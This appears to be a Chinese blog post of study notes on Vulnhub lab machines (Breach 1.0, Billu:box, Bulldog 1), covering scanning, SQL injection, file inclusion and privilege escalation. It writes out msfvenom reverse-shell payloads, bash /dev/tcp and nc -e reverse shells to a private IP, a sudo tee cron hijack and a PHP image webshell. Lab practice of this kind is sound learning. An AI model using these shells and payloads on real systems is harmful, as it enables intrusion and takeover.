• Vulhub 刷题(一)



    title: vulnhub
    subtitle: 渗透入门
    date: 2022-08-02
    author: Sprint#51264


    引言

    最近写了一下,有好几个最终没有写出来的,过后再返回来看吧,大家看到了也就当个日记随便看一眼

    主要参考自[红日安全:vulnhub靶场实战指南]

    一:breach 1.0

    启发

    • keytool

      密钥管理工具

      keytool -list -keystore 根据具体用法生成.p12密钥文件

      wireshark->编辑->首选项->Protocols->TLS(新版本的wireshark没有单独的SSL选项了),edit,选定ip和端口,选中对应密钥文件,输入密码

    • 上传shell

      msfvenom -p 模块 -f 格式 -o 输出文件名做shell

      做war扩展shell方法:

      
      法1
      
      msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -f jsp -o shell.jsp
      
      zip -r shell.zip shell.jsp
      cp shell.zip shell.war
      
      法2
      
      msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -f war -o shell.war
      
      (ps:第二种我没成功,用第一种才整好,不知道为什么)
      
      附弹shell:
      
      echo "bash -i >& /dev/tcp/192.168.110.128/4444 0>&1" | bash
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
    • 监听

      msfmulti/handler模块

      
      search multi/handler
      
      选exploit(multi/handler)
      
      设置meterpreter payload,设置监听ip
      
      run或者exploit,打开监听
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
    • 反弹shell后

      使用meterpreter的shell命令获取操作系统

      有python环境可以用python启动虚拟终端python -c 'import pty;pty.spawn("/bin/bash")'

      得到一个用户权限之后

      cat /etc/passwd看一下有哪些用户值得关注,哪些是/bin/bash环境

      使用history查看当前用户命令历史

      使用sudo -l查看当前用户权限

    • tee + 定时任务 + nc反弹shell

      tee 命令:用来将标准输入的内容输出到标准输出并可以保存为文件

      
      echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
      (没写权限记得换文件夹,tmp就不错)
      
      cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
      
      kali: nc -lvp 5555
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

    二:billux:box

    流程

    • 主机发现

      先扫C段找到目标主机,中途直接用vmware切换网络连接方式可能会找不到对应ip,主机开放8022端口,对应httpssh服务

    • 端口扫描

      nmap -sV -A 192.168.197.134

    • 访问web页面

      • 发现是一个登录框,查看源码之后发现有个弹窗脚本,每次提交必弹try again

      • sqlmap注入:sqlmap -u "http://192.168.197.134" --data "un=asd&ps=asdd&login=let%27s+login" --dbms mysql 无果

      • 目录爆破test.php、add.php、in.php、c.php、index.php、show.php 目录:uploaded_images,phpmy(dirsearch速度和效率上确实没得说)

      • test.php有一个文件包含漏洞,POST方式传参可以成功,发现/etc/passwd中有ica:x:1000:1000:ica,,,:/home/ica:/bin/bash,也就是说可以用root和ica账户登录

      • 用文件包含读源码

        add.php页面有一个文件上传页面,但是没有实际功能

        in.php是phpinfo信息

        c.php包含mysql连接信息,"billu","b0x_billu","ica_lab"

        show.php需要POST传一个continue参数,然后就可以得到两条数据库里的用户信息JackCaptain Barbossa

      • 从/phpmy登录phpmyadmin

        可以看到auth表里面有一条记录biLLu hEx_it

        download表里看到从images目录下载图片,访问images目录看到图片列表,但是图片没有什么重要信息

        users里面就是刚刚show.php看到的信息

      • 使用刚得到的用户名密码尝试首页登录

        进入到panel.php

        showuser存在文件包含漏洞,对load参数进行检测,如果等于show就包含show.php,如果等于add,就包含add.php,否则就包含load参数所指示的文件,其中./是被过滤的

        用test.php查看页面源码可以发现,文件上传主要检测content-type值,如果符合image/png image\jpg image/png就可以上传到uploaded_images目录

        构造图片马y.jpg

        
        GIF89A
        <?php system($_POST['cmd']);?>
        
        
        • 1
        • 2
        • 3
        • 4

        然后传参load要改为uploaded_images/y.jpg
        传cmd参数

      • 反弹shell

    启发

    • 登录框漏洞挖掘思路:

      SQL注入、目录爆破、漏洞扫描、手动挖掘(查看数据包寻找利用点)、网页源码

    • 改包

      太久不用就容易生疏,改请求方式GET->POST的时候要传表单数据记得加content-type:application/x-www-form-urlencoded字段,或者其他形式的数据,不然参数识别不了

    • 文件包含信息泄露

      /etc/passwd文件查看用户

    三:Bulldog 1

    流程

    • 简介

      
      Bulldog Industries最近的网站被恶意的德国牧羊犬黑客团队破坏并拥有。这是否意味着有更多漏洞可利用?你为什么不把它们找出来呢?
      
      标准的boot-to-Root靶场,目标是进入root目录看到入侵成功信息。
      
      建议用Virtual Box打开,用vmware桥接获取不到ip
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
    • 主机发现

      
      arp-scan -l
      #192.168.43.198  08:00:27:23:5d:17       PCS Systemtechnik GmbH
      
      nmap -sP 192.168.43.0/24
      #锁定目标 192.168.43.198
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
    • 端口扫描

      
      nmap -sV 192.168.43.198
      
      nmap -p- -T5 192.168.43.198
      
      PORT     STATE SERVICE
      23/tcp   open  telnet
      80/tcp   open  http
      8080/tcp open  http-proxy
      MAC Address: 08:00:27:23:5D:17 (Oracle VirtualBox virtual NIC)
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
    • 漏洞发现

      
      主页信息找了找没有什么可利用的
      
      开始目录扫描
      
      dirsearch -u http://192.168.43.198
      
      dirb http://192.168.43.198
      
      # dirb扫出来的目录确实多
      
      主要是/dev、/admin页面,robots.txt页面已经被黑了
      
      admin页面登录框,dev页面是介绍内容,并且有一个shell可以连接(需要认证)
      
      打开源码能看到对应账户的hash值,尝试破解
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17

      hash

      
      <!--Need these password hashes for testing. Django's default is too complex-->